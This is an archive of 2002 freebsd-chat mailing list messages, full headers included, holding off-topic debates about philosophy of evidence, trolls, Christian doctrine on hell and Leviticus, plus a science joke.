List-Unsubscribe: X-Loop: FreeBSD.org Dave Hayes wrote: > >> > I hereby exclude all posts which defy classification. 8-). > >> > >> That is how a moderator stifles communication into stagnicity. > > > > Hardly. It only excludes edge cases. Put the edge a little > > further out, and you only exclude cases which are definitely > > not edge cases, according to the original definition. > > This relies on having a reliable litmus test for topicality. You > claim you can do this perfectly, I claim you can't. No, you claim that I can, but that if I do, it "stifles communication into stagnicity" (never been to Stagni City; I hear they have great seafood, up near Seattle... ;^)). In the limit, your argument boils down to a claim that lack of atopicality :== stagnation. > >> > Either the system functions as designed, or it's not a correct > >> > system. > >> > >> What was nature designed for? > > > > It wasn't designed, as far as we know. > > But it is a system or a set of systems. How do you account for this? That it exists without apparent design? Or what? Mostly, I don't account for it, given that I'm not the designer, and so I'm not accountable for it. > >> > But we aren't talking about just you. We have to include your > >> > friend Tim, and people like them > >> > >> Yes and you are suggesting catering to them and not people like me. > > > > No, you're the one who suggested catering to trolls. > > Nope, I am suggesting that one can render them irrelevant with a flick > of one's finger onto the "next message" key. So why didn't this work with you and Tim, if you're convinced of its value as a success strategy? > > I distinctly recall you suggesting that everyone but the trolls > > change their behaviour, in order to deal with trolls. I can cite > > the archives, if your memory has failed you. > > Go for it. Do you honestly want a cite, or are you claiming irrelevance? > >> > Barring evidence to the contrary, the simplest explanation is > >> > the correct one. > >> > >> That's arbitrary. You might as well flip a coin. > > > > It's not arbitrary. Arbitrary would be if there was no overall > > standard for selection. This most definitely is a standard. > > This standard is neither correct nor incorrect, therefore it is > arbitrary. It is fixed; therefore it is *not* arbitrary. > >> But there were those that you could accept and so just accepted? > > > > Non-key ones are derivational; they don't need verification if they > > are nonaxiomatic, and capable of being derived from axioms. > > What if the derivation is unsound, but you do not detect this at first > glance? Then someone will point out *why* its unsound, and I will no longer accept the model as "potentially correct", but instead call it "known incorrect, but useful until another model is proposed which better fits the evidence". > >> I can't belittle the effort, I haven't seen any. I have seen the > >> dismissal. > > > > Well, by all means, let's belittle everything we've seen! 8-). > > You seem to be good at it, why don't you start? ;) Personally, I have no interest in resolving the contradictions which enable me to dismiss your philosophy as "not self-consistant", since I don't see how doing so would benefit me or the group. As external observers, we can't fix your world view without your cooperation. > >> > Yes, there is. There's the specification. The program conforms > >> > to the specification, or it does not. It's a nice binary line. > >> > >> When you constrain and restrict the problem and the specification > >> enough, you can get these nice binary lines. This doesn't always > >> happen in practice. > > > > It does in *professional* practice. 8-). > > So money dictates your reality? Why is money required, in your opinion, for someone to be able to act in a professional manner? > > Majority, unless the majority consensus is to permit the definition > > by consensus of cognoscenti. 8-). > > Then "bad" means "good", "bunk" means "bad", you can't use very > many obscure polysyllabic words, and we still have a lot of work > to do to ensure that what we are agreeing on is what everyone is > really thinking. That's a problem for the people with the minority view, isn't it? Makes it really hard to proselytize... > > That's not hand-waving, it's a demand for evidence at near gunpoint. > > 8-). > > Contrary to general intuation, waving a gun isn't going to get me to > comply with your demands. ;) It will, if my demands are a logical XOR of two possible outcomes, one of which is achievable by force. 8-). > > Exclusion sets work. All of science is based on the falsification > > of theories, based on empirical observations. > > Honestly, there are so many assumptions you have I don't know where to > begin to explain that I dropped those and choose not to think using > them as a computational basis. Guess that makes your job just that much harder... > Don't even do as I say. Do what yer gonna do. Don't expect me not to > comment. Don't take my commments seriously. All truths are false. > All falsehoods are true. All sales final. Not responsible for drama. ;) You forgot your demand to be permitted access to the forum in order to be able to comment... > >> That doesn't really follow, does it? A paradox is not a license to > >> do anything. > > > > By that same token, neither is a refusal to grow up. > > If people want to refuse this, there's nothing you nor I can do to > force them. Toleration is based on the knowledge that you can handle > whatever comes to you, and let others deal with what comes to them. > If they ask for help, show them the next message key. Sticking your fingers in your ears and saying "LA LA LA!" at the top of yout lungs doesn't make a problem go away. > > "Proving" something to me is eminently possible. > > Nope. I'd have to be someone you respect. No. Merely use techniques which I respect. > > Something is "proven" to me if it is the simplest explanation which > > fits all the facts. > > These are local maxima. Yes, they are. And your point is what? That the correct, but less simple, explanation might get lost in the noise? The answer to that is that any two explanations, if they differ, will differ in consequence. If they don't, then you've proven them equivalent, and the simplest one is still the best. If they differ in consequence, then you can mak a parediction based on the difference in consequence, and design an experiment to refute one or the other of the theories with its result. > >> > So we are agreed. We'll subtract them. > >> > >> No we are not agreed, subtracting them wastes time. > > > > It's not your time being wasted; why do you care if someone else > > wastes their time? It's theirs to waste. > > I don't life or death care if they do, but I would prefer to see them > not do it. You've communicated your preference. What now? -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 7:59:25 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DEE2737B400 for ; Fri, 6 Sep 2002 07:59:20 -0700 (PDT) Received: from mta07-svc.ntlworld.com (mta07-svc.ntlworld.com [62.253.162.47]) by mx1.FreeBSD.org (Postfix) with ESMTP id E360543E72 for ; Fri, 6 Sep 2002 07:59:19 -0700 (PDT) (envelope-from george.reid1@ntlworld.com) Received: from sobek.lan ([80.6.30.227]) by mta07-svc.ntlworld.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020906145918.FWQZ13709.mta07-svc.ntlworld.com@sobek.lan>; Fri, 6 Sep 2002 15:59:18 +0100 Received: (from greid@localhost) by sobek.lan (8.11.6/8.11.6) id g86ExJI06372; Fri, 6 Sep 2002 15:59:19 +0100 (BST) (envelope-from george.reid1@ntlworld.com) X-Authentication-Warning: sobek.lan: greid set sender to george.reid1@ntlworld.com using -f Date: Fri, 6 Sep 2002 15:59:19 +0100 From: George Reid To: "Neal E. Westfall" Cc: Joshua Lee , dave@jetcafe.org, tlambert2@mindspring.com, chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Message-ID: <20020906155919.A6312@FreeBSD.org> References: <20020906013554.A42842@FreeBSD.org> <20020905211353.W92353-100000@Tolstoy.home.lan> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20020905211353.W92353-100000@Tolstoy.home.lan>; from nwestfal@directvinternet.com on Thu, Sep 05, 2002 at 09:37:56PM -0700 Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Thu, Sep 05, 2002 at 09:37:56PM -0700, Neal E. Westfall wrote: [...] > 2) The litany of passages you offered as personally objectionable > to you indicate that you are hardly an unbiased interpreter. > Why you would poison your own well like that before making your > controversial claims, one can only speculate. [...] On the contrary, it is your well that I'm poisoning. If you are going to cite passages from the Bible in support of your arguments, you'll have to explain to us why it is that you don't adhere to all of the laws written in Leviticus et al. Additionally, what makes you think I find them personally objectionable? Perhaps you are emotionally involved in the argument; I am not. At no point did I say that I agreed or disagreed with any of the statements. Perhaps I do believe that homosexuality is a greater abomination than eating shellfish or that slaves from neighbouring nations are acceptable. My personal beliefs are not important. [...] > 5) If you think you have a case, please present your arguments, > instead of making grandiose assertions with little to back > it up besides your claim to know Hebrew and Greek. If that > is the case, present your arguments so that they can be > scrutinized. You'll have to excuse me for not just taking > your word for it. [...] Further to this you wrote in an earlier post, and I quote: > Do you think that Christians just made up the doctrine of hell? Where > do you think it came from? Did it not come from the lips of Christ > himself, who claimed to be your Messiah? Hence the original postulate that hell is real (with little to back it up) was brought up by none other than yourself. It is your claim to argue. My response to you was an attempt to solicit such an argument so that I can supply you with a counterargument. If I had the time I would sit here all day and write you a small book on the inaccuracies, contradictions, malicious mistranslations and other such errors which riddle the teaching of the doctrine of hell. Unfortunately this is not a luxury that I possess. You substantitate your claim that hell is real and I'll do my best to refute that claim. Perhaps we'll both learn something from it. -- George C A Reid WWW: http://people.FreeBSD.org/~greid/ Mob: (07740) 197460 FreeBSD Committer/Developer greid@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 8: 3: 9 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 239CE37B401 for ; Fri, 6 Sep 2002 08:02:58 -0700 (PDT) Received: from mail.speakeasy.net (mail16.speakeasy.net [216.254.0.216]) by mx1.FreeBSD.org (Postfix) with ESMTP id 44B1F43E3B for ; Fri, 6 Sep 2002 08:02:57 -0700 (PDT) (envelope-from jhb@FreeBSD.org) Received: (qmail 19555 invoked from network); 6 Sep 2002 15:03:37 -0000 Received: from unknown (HELO server.baldwin.cx) ([216.27.160.63]) (envelope-sender ) by mail16.speakeasy.net (qmail-ldap-1.03) with DES-CBC3-SHA encrypted SMTP for ; 6 Sep 2002 15:03:37 -0000 Received: from laptop.baldwin.cx (gw1.twc.weather.com [216.133.140.1]) by server.baldwin.cx (8.12.5/8.12.5) with ESMTP id g86F2rBv014854; Fri, 6 Sep 2002 11:02:54 -0400 (EDT) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.5.2 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <20020905190756.A54861@FreeBSD.org> Date: Fri, 06 Sep 2002 11:02:54 -0400 (EDT) From: John Baldwin To: Juli Mallett Subject: Re: Why did evolution fail? Cc: crap@FreeBSD.ORG, tlambert2@mindspring.com, dave@jetcafe.org, Joshua Lee , "Neal E. Westfall" Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On 06-Sep-2002 Juli Mallett wrote: > * De: "Neal E. Westfall" [ Data: 2002-09-05 ] > [ Subjecte: Re: Why did evolution fail? ] >> So why are you attacking what my religion teaches? Aren't you just >> being a little bit hypocritical? Do you think that Christians just >> made up the doctrine of hell? Where do you think it came from? Did > > In ancient Hebrew tribal religion, there were two sects, one who worshipped > the god of death, one who worshipped the god of life. Do you have any references to support this claim? -- John Baldwin <>< http://www.FreeBSD.org/~jhb/ "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 8:10: 3 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9B12837B400 for ; Fri, 6 Sep 2002 08:09:57 -0700 (PDT) Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2F33A43E3B for ; Fri, 6 Sep 2002 08:09:56 -0700 (PDT) (envelope-from keramida@ceid.upatras.gr) Received: from hades.hell.gr (patr530-a079.otenet.gr [212.205.215.79]) by mailsrv.otenet.gr (8.12.4/8.12.4) with ESMTP id g86F9o7h003010 for ; Fri, 6 Sep 2002 18:09:54 +0300 (EEST) Received: from hades.hell.gr (hades [127.0.0.1]) by hades.hell.gr (8.12.6/8.12.6) with ESMTP id g86D9uSh003044 for ; Fri, 6 Sep 2002 16:09:56 +0300 (EEST) (envelope-from keramida@ceid.upatras.gr) Received: (from charon@localhost) by hades.hell.gr (8.12.6/8.12.6/Submit) id g86D9ugd003043; Fri, 6 Sep 2002 16:09:56 +0300 (EEST) (envelope-from keramida@ceid.upatras.gr) Date: Fri, 6 Sep 2002 16:09:56 +0300 From: Giorgos Keramidas To: Terry Lambert Cc: chat@FreeBSD.org Subject: So, who knows the jokes? Message-ID: <20020906130956.GF2168@hades.hell.gr> References: <200209060116.g861GI198090@hokkshideh2.jetcafe.org> <3D781D31.9EA99D@mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3D781D31.9EA99D@mindspring.com> Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On 2002-09-05 20:12 +0000, Terry Lambert wrote: > You are, of course, aware of the joke about the engineer, the > physicits, the mathematician, and the fire... No, I am not. Green's corollary on the Law of Murphy states that there will always be at least one person who isn't (aware, that is). This is the second time during a single day that you have mentioned a joke without writing it too. The first one being about changing a bulb, IIRC. So, will you PLEASE (thank you!) stop referring to jokes without saying the jokes themselves? This is -chat, right? Among the flood of emails about religions, the evolution of intelligence, Darwin's great misconception of the Great Truth(TM), and a few other topics I've seen rush by these last few days, do please tell the occasional jokes :-P - Giorgos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 8:15:38 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B8ED737B400 for ; Fri, 6 Sep 2002 08:15:35 -0700 (PDT) Received: from mta01-svc.ntlworld.com (mta01-svc.ntlworld.com [62.253.162.41]) by mx1.FreeBSD.org (Postfix) with ESMTP id C48A843E4A for ; Fri, 6 Sep 2002 08:15:34 -0700 (PDT) (envelope-from george.reid1@ntlworld.com) Received: from sobek.lan ([80.6.30.227]) by mta01-svc.ntlworld.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020906151533.RQFS25423.mta01-svc.ntlworld.com@sobek.lan>; Fri, 6 Sep 2002 16:15:33 +0100 Received: (from greid@localhost) by sobek.lan (8.11.6/8.11.6) id g86FFdn10897; Fri, 6 Sep 2002 16:15:39 +0100 (BST) (envelope-from george.reid1@ntlworld.com) X-Authentication-Warning: sobek.lan: greid set sender to george.reid1@ntlworld.com using -f Date: Fri, 6 Sep 2002 16:15:39 +0100 From: George Reid To: Giorgos Keramidas Cc: Terry Lambert , chat@FreeBSD.ORG Subject: Re: So, who knows the jokes? Message-ID: <20020906161539.A8550@FreeBSD.org> References: <200209060116.g861GI198090@hokkshideh2.jetcafe.org> <3D781D31.9EA99D@mindspring.com> <20020906130956.GF2168@hades.hell.gr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20020906130956.GF2168@hades.hell.gr>; from keramida@ceid.upatras.gr on Fri, Sep 06, 2002 at 04:09:56PM +0300 Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Fri, Sep 06, 2002 at 04:09:56PM +0300, Giorgos Keramidas wrote: > No, I am not. Green's corollary on the Law of Murphy states that > there will always be at least one person who isn't (aware, that is). > This is the second time during a single day that you have mentioned a > joke without writing it too. http://www.xs4all.nl/~jcdverha/scijokes/6_2.html#subindex: An engineer, physicist, and mathematician are all challenged with a problem: to fry an egg when there is a fire in the house. The engineer just grabs a huge bucket of water, runs over to the fire, and puts it out. The physicist thinks for a long while, and then measures a precise amount of water into a container. He takes it over to the fire, pours it on, and with the last drop the fire goes out. The mathematician pores over pencil and paper. After a few minutes he goes "Aha! A solution exists!" and goes back to frying the egg. Sequel: This time they are asked simply to fry an egg (no fire). The engineer just does it, kludging along; the physicist calculates carefully and produces a carefully cooked egg; and the mathematician lights a fire in the corner, and says "I have reduced it to the previous problem." -- George C A Reid WWW: http://people.FreeBSD.org/~greid/ Mob: (07740) 197460 FreeBSD Committer/Developer greid@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 9: 5: 6 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 840C037B400; Fri, 6 Sep 2002 09:05:00 -0700 (PDT) Received: from smtp.comcast.net (smtp.comcast.net [24.153.64.2]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2244243E3B; Fri, 6 Sep 2002 09:05:00 -0700 (PDT) (envelope-from lomifeh@earthlink.net) Received: from bgp586692bgs.jdover01.nj.comcast.net (bgp586692bgs.jdover01.nj.comcast.net [68.39.202.147]) by mtaout03.icomcast.net (iPlanet Messaging Server 5.1 HotFix 0.8 (built May 13 2002)) with ESMTP id <0H2000FYSY0A5B@mtaout03.icomcast.net>; Fri, 06 Sep 2002 12:04:59 -0400 (EDT) Date: Fri, 06 Sep 2002 12:04:58 -0400 From: Lawrence Sica Subject: Re: Why did evolution fail? In-reply-to: <20020905190756.A54861@FreeBSD.org> To: Juli Mallett Cc: "Neal E. Westfall" , Joshua Lee , dave@jetcafe.org, tlambert2@mindspring.com, crap@FreeBSD.ORG Message-id: <642600A8-C1B2-11D6-A71E-000393A335A2@earthlink.net> MIME-version: 1.0 X-Mailer: Apple Mail (2.543) Content-type: text/plain; charset=US-ASCII; format=flowed Content-transfer-encoding: 7BIT Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Thursday, September 5, 2002, at 10:07 PM, Juli Mallett wrote: > iirc, as the god of life was known then), Judaism was born after ages > passed, and from there, we end up with Christianity these days. It > would > be more correct to say that Hebrew tribal elders made up hell; you are > forgetting that the roots of Christianity are in Judaism. > Judeo-christian faiths don't have the market on hell or hell-like places. Hinduism and Buddhism both have a hell like place. I cannot recall the names for it. > And of course they made it up, it fulfills a number of low-level > desires > of the human psyche. > > Not that I'm not a religious person myself, it's just important to > remember > that all of this came from tribal traditions and warring, and that all > of > Wicca came from a lecherous old man who decided to take from Celtic and > old European religions throughout the ages, and that Jesus was a man, > and > a great man, and a man who said great things. > > That doesn't mean any of it isn't true. Just because one "makes > something up" > doesn't mean it's false. It could be inherent in-born knowledge. > Many of the worlds religions share the same basic tenets. Things like views on stealing, killing, the idea of an afterlife. Ever read anything by Carl Jung? He talks of a collective unconcious and race memory. Really interesting stuff. > I prefer to believe that all beliefs are valid, most are probably > somewhat > right, and none are "wrong". > I disagree. There is right and wrong in the world. Killing another human being is wrong for example. An interesting side note, early catholicism was against war, period. Later it was rationalized and made ok. So even a religion's belifs change and would be wrong depending on the period. Many times right and wrong are not determined by truth but by those in power. But that doesn't mean there are some universal truths about what should be right and should be wrong. > It's all about people and perception. Unfortunately, this universe > seems > built with the intentions to get people to look beyond perception - > things > have inherent beauty and structure at levels below what the eye can > see, > people are not always what they appear to be, and enjoying it is what > really > matters, to me. The problem is many people refuse to look between the lines if you will. Many blindly accept what they are told to believe as though it were canon. If you look hard enough and in the right way even chaos has a pattern. Does this mean that there is a God? I cannot say for anyone but myself :). But there seems to be a pattern to all things. And beauty is always in the eye of the beholder. --Larry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 9:18:51 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CCE5B37B400; Fri, 6 Sep 2002 09:18:45 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id A881643E42; Fri, 6 Sep 2002 09:18:44 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g86GIhGd094756; Fri, 6 Sep 2002 09:18:43 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g86GIhCL094753; Fri, 6 Sep 2002 09:18:43 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Fri, 6 Sep 2002 09:18:43 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: Juli Mallett Cc: Joshua Lee , , , Subject: Re: Why did evolution fail? In-Reply-To: <20020905190756.A54861@FreeBSD.org> Message-ID: <20020906082300.M94577-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Thu, 5 Sep 2002, Juli Mallett wrote: > * De: "Neal E. Westfall" [ Data: 2002-09-05 ] > [ Subjecte: Re: Why did evolution fail? ] > > So why are you attacking what my religion teaches? Aren't you just > > being a little bit hypocritical? Do you think that Christians just > > made up the doctrine of hell? Where do you think it came from? Did > > In ancient Hebrew tribal religion, there were two sects, one who worshipped > the god of death, one who worshipped the god of life. The god of death was > stronger than the god of life, and those who worshipped the god of life > were jealous, and the jealousy became a part of the persona of the god of > life, to excuse the hatered of others who worshipped stronger gods, and > over time, the jealousy caused them to annex the attributes of the god of > death, into the god of life. From there, Jahweh/... as known today (and > iirc, as the god of life was known then), Judaism was born after ages > passed, and from there, we end up with Christianity these days. It would > be more correct to say that Hebrew tribal elders made up hell; you are > forgetting that the roots of Christianity are in Judaism. > > And of course they made it up, it fulfills a number of low-level desires > of the human psyche. Juli, Interesting theory, as psychological arguments go. Not that I totally reject psychological arguments, Paul uses a kind of psychological argument in Romans 1 when he tells us that man by nature suppresses the truth he knows about his Creator. Dr. Greg Bahnsen wrote his doctorol dissertation on this very subject, the phenomena of self-deception. He wrote a boiled down version of it for the Westminster Theological Journal in 1995 which can be read online at: http://66.216.78.115/articles/pa207.htm Having said all that, psychological arguments can't really stand on their own without some supporting arguments. The reason for this is that I can just come back and say that your theory is just a rationalization in an attempt to deny your creator. And not only that, it fits in quite nicely with what Paul says in Romans 1! Isn't it nice how that works? Now what have I just done here? What I've done is completely reversed the argument on you, so what we are left with is psychologizing each other, which isn't very productive. So what is the answer? Who's right and who's wrong? It's possible that we're both wrong. This is why I said that some supporting arguments are necessary. If you've been following the thread, the kind of arguments I've been primarily relying on are transcendental arguments, that is, arguments which attempt to show what the preconditions of rationality, science, logic, human dignity, freedom, and ethics are. These are all things which we all take for granted every day. This form of argument can backfire of course, if the person you are arguing against rejects those things. Dave is a perfect example of this. From an apologetical standpoint, however, the Christian has won the day, since the purpose of Christian apologetics is not to get him to cry uncle, but to silence his objections by reducing his position to absurdity. That doesn't mean he will stop talking, of course, but from an apologetical standpoint, the Christian is in a good position when someone concedes that the choices are irrationality or Christianity. This is all the Christian was trying to show in the first place. > > Not that I'm not a religious person myself, it's just important to remember > that all of this came from tribal traditions and warring, and that all of > Wicca came from a lecherous old man who decided to take from Celtic and > old European religions throughout the ages, and that Jesus was a man, and > a great man, and a man who said great things. > > That doesn't mean any of it isn't true. Just because one "makes something up" > doesn't mean it's false. It could be inherent in-born knowledge. > > I prefer to believe that all beliefs are valid, most are probably somewhat > right, and none are "wrong". People have a tendency to develop beliefs that approximate the truth. This is because, though they try to suppress their knowledge of God, they can never completely erase that knowledge, for to do so would require giving up everything they take for granted, and that is impossible to do short of suicide. But then, in the end, this really isn't an escape either. 8-) > It's all about people and perception. Unfortunately, this universe seems > built with the intentions to get people to look beyond perception - things > have inherent beauty and structure at levels below what the eye can see, > people are not always what they appear to be, and enjoying it is what really > matters, to me. This is all a Christian is asking for, that people would see "the God who is there," as Francis Schaeffer would put it. Cheers! Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 10: 2:20 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2753537B50C for ; Fri, 6 Sep 2002 10:02:13 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id F09A243E6E for ; Fri, 6 Sep 2002 10:02:11 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g86H2BGd094930; Fri, 6 Sep 2002 10:02:11 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g86H2Acj094927; Fri, 6 Sep 2002 10:02:10 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Fri, 6 Sep 2002 10:02:10 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: George Reid Cc: Joshua Lee , , , Subject: Re: Why did evolution fail? In-Reply-To: <20020906155919.A6312@FreeBSD.org> Message-ID: <20020906092136.L94577-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Fri, 6 Sep 2002, George Reid wrote: > On Thu, Sep 05, 2002 at 09:37:56PM -0700, Neal E. Westfall wrote: > > [...] > > 2) The litany of passages you offered as personally objectionable > > to you indicate that you are hardly an unbiased interpreter. > > Why you would poison your own well like that before making your > > controversial claims, one can only speculate. > [...] > > On the contrary, it is your well that I'm poisoning. If you are going to > cite passages from the Bible in support of your arguments, you'll have to > explain to us why it is that you don't adhere to all of the laws written > in Leviticus et al. I see. So you admit you are engaging in a fallacious argument? "Poisoning the well" is hardly a valid debate tactic. With that said, I think I am quite capable of defending my beliefs. The reason not all of the laws written in Leviticus are any longer applicable is that they had a theological purpose. I'm talking primarily of the ceremonial laws and such, the temple sacrifices, etc. All of these pointed forward to the coming of the Messiah. Now that He has come, they are superflous, not only that, but blasphemous, since to regard the pointers as more valuable than what they pointed to is an offense to God. > Additionally, what makes you think I find them personally objectionable? > Perhaps you are emotionally involved in the argument; I am not. At no > point did I say that I agreed or disagreed with any of the statements. > Perhaps I do believe that homosexuality is a greater abomination than > eating shellfish or that slaves from neighbouring nations are acceptable. > My personal beliefs are not important. Then why did you even bring them up? Wasn't it to induce an emotional response in other members of the list? If that isn't it, then why? Was it an attempt to embarrass my position? Do you suppose that I *am* embarrassed by those passages? What is *your* rationale for opposing slavery? I'll tell you mine. I am grateful to God for having mercy on me as a sinner. As such, I seek to glorify God by emulating His compassion that He had on me. Do you suppose that God is *obligated* to have mercy on everyone? An obligation implies justice, not mercy. Your objections fail to take into account that all of the evils that you mentioned that appear in the Bible are a result of *man's* sin, not God's. God uses the evil acts of men as well as the consequences to His own ends. Slavery, et al are all consequences of sinful man's rebellion against God. By the way, what objective standard are you using to judge God? I would really like to know. > > [...] > > 5) If you think you have a case, please present your arguments, > > instead of making grandiose assertions with little to back > > it up besides your claim to know Hebrew and Greek. If that > > is the case, present your arguments so that they can be > > scrutinized. You'll have to excuse me for not just taking > > your word for it. > [...] > > Further to this you wrote in an earlier post, and I quote: > > > Do you think that Christians just made up the doctrine of hell? Where > > do you think it came from? Did it not come from the lips of Christ > > himself, who claimed to be your Messiah? > > Hence the original postulate that hell is real (with little to back it > up) was brought up by none other than yourself. It is your claim to > argue. My response to you was an attempt to solicit such an argument so > that I can supply you with a counterargument. If I had the time I would > sit here all day and write you a small book on the inaccuracies, > contradictions, malicious mistranslations and other such errors which > riddle the teaching of the doctrine of hell. Unfortunately this is not a > luxury that I possess. You substantitate your claim that hell is real and > I'll do my best to refute that claim. Perhaps we'll both learn something > from it. Oh. So no argument is forthcoming. I am not the one throwing out claims of conspiracy theories and asserting that every translation of the Bible is corrupt. *You* are the one making the claims that are in opposition to the majority consensus of Hebrew and Greek scholars that have given us a plethora of translations which all just happen to teach the same doctrine of hell. As such, the burden of proof is on *you*. You are the one asserting that the majority opinion is in error. That is a case which you have not even attempted to make, much less proven. By your logic, the following is a valid pattern of reasoning: 1) I assert that the moon is made of swiss cheese. 2) Anyone who claims otherwise is either ignorant or part of a vast conspiracy to with-hold the truth that the moon is made of swiss cheese. 3) Oh, and by the way, the burden of proof is on you to disprove my claims. Give me a break! Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 10:28:23 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 254F137B400 for ; Fri, 6 Sep 2002 10:28:21 -0700 (PDT) Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by mx1.FreeBSD.org (Postfix) with ESMTP id B7C9043E65 for ; Fri, 6 Sep 2002 10:28:20 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0279.cvx22-bradley.dialup.earthlink.net ([209.179.199.24] helo=mindspring.com) by avocet.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17nMtr-0002FJ-00; Fri, 06 Sep 2002 10:28:08 -0700 Message-ID: <3D78E56B.36741301@mindspring.com> Date: Fri, 06 Sep 2002 10:27:07 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) 